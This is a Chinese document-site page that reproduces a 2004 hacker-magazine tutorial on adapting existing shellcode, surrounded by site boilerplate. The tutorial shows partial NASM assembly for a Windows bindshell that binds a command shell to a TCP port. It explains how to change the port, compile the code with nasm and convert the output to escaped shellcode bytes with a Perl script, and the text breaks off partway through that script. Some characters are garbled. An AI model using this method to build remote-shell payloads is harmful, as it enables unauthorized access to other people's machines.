菜鸟也玩sellcode.docVIP

  1. 1、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
  2. 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  3. 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
  4. 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
  5. 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们
  6. 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
  7. 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
菜鸟也玩shellcode [原创]菜鸟也玩shellcode 文章标题:[原创]菜鸟也玩shellcode顶部 无敌最寂寞 发布于:2004-12-2808:15 [楼主][原创]菜鸟也玩shellcode 文章作者:无敌最寂寞[EST] 信息来源:邪恶八进制信息安全团队 原文出处:《黑客x档案》 上期的x档案我写了一篇菜鸟也能写exploit,里面主要介绍了溢出点的定位以及exploit的编写。都是菜鸟级的东西,也不知道读者朋友们是否学到了点什么。这一次我又给大家带来了一篇溢出方面的文章,主要给大家介绍一些菜鸟级的shellcode编写了。 大家都知道的,编写shellcode是需要很深的编程功底还要熟知操作系统底层知识,因此呢我们还是要使用别人写好的shellcode(先别急着打我,大家看我的题目——“玩”而不是“写”)。换句话说,我们是要改造高人写好的shellcode成为自己的东东。 一、手工篇 首先,我们要先准备好我们的“主菜”——shellcode。我在上找到了几个shellcode。先看下面的一个: [BITS32] global_start _start: LCaller: callLLoadFunctions LDataSegment: ;======================== ddCMD dd0x79c679e7;closesocket 12 dd0x498649e5;accept 16 dd0xe92eada4;listen 20 dd0xc7701aa4;bind 24 dd0xadf509d9;WSASocketA 28 dd0x3bfcedcb;WSAStartup 32 。 。 。 。 。 。 。 LBind: pushedi pushedi pushdword0port8721 movesi,esp pushbyte0x10 ;length pushesi pushebx call[ebp+24] 。 。 。 。 。 。 。 我只列出了部分关键代码,完整代码详见光盘。这个是汇编写的bindshell,它可以绑定一个cmdshell到任意本地端口。我们要做的就是把上面的代码写成shellcode形式。 首蟁i业秸饩洌簆ushdword0port8721 这个就是绑定的端口,比如我们想绑定1234端口,那么先把1234换成十六进制是04d2,然后再按照低位再前高位在后的顺序排列就是d204。替换到原句后变成: pushdword0xd2040002 OK!代码是改好了,下面我们需要把这段代码编译成一个二进制文件,我这里用到的编译器是nasm。把上面的代码存为bindshell.asm,复制此文件到nasm解压目录下的bin子目录下。然后打开一个cmd窗口,并来到bin目录下,然后输入:nasm-fbin-obindshell.binbindshell.asm回车确认后,我们就可以得到一个二进制文件bindshell.bin,如图一。 =800)window.open(30/tools/1.gif);onload=if(this.width800)this.width=800;if(this.height800)this.height=800; 用ultraedit打开bindshell.bin文件,如图二。 =800)window.open(30/tools/2.gif);onload=if(this.width800)this.width=800;if(this.height800)this.height=800; 看到那些十六进制树了吗?那就是我们的shellcode了,我们只要把那些十六进制数复制下来,然后改写成“\xE8\x38\x00\x00\x00\x43”这样的形式就可以了。可是手动太麻烦了,我们还是编程解决。于是我写了一个包含下面代码的简单perl程序(你用python或者其它任何语言我都不反对的:-)): Copycode #!/usr/bin/perl #poweredby无敌最寂寞[EST] my$filename=shift; open(FILE,$filename); open(RES,result.txt); while(FILE) { s/.*h://ig; s/;.*//ig; s/\s*$//g; s/\s/\\x/ig;

文档评论(0)

dfd7997 + 关注
实名认证
文档贡献者

该用户很懒,什么也没介绍

1亿VIP精品文档

相关文档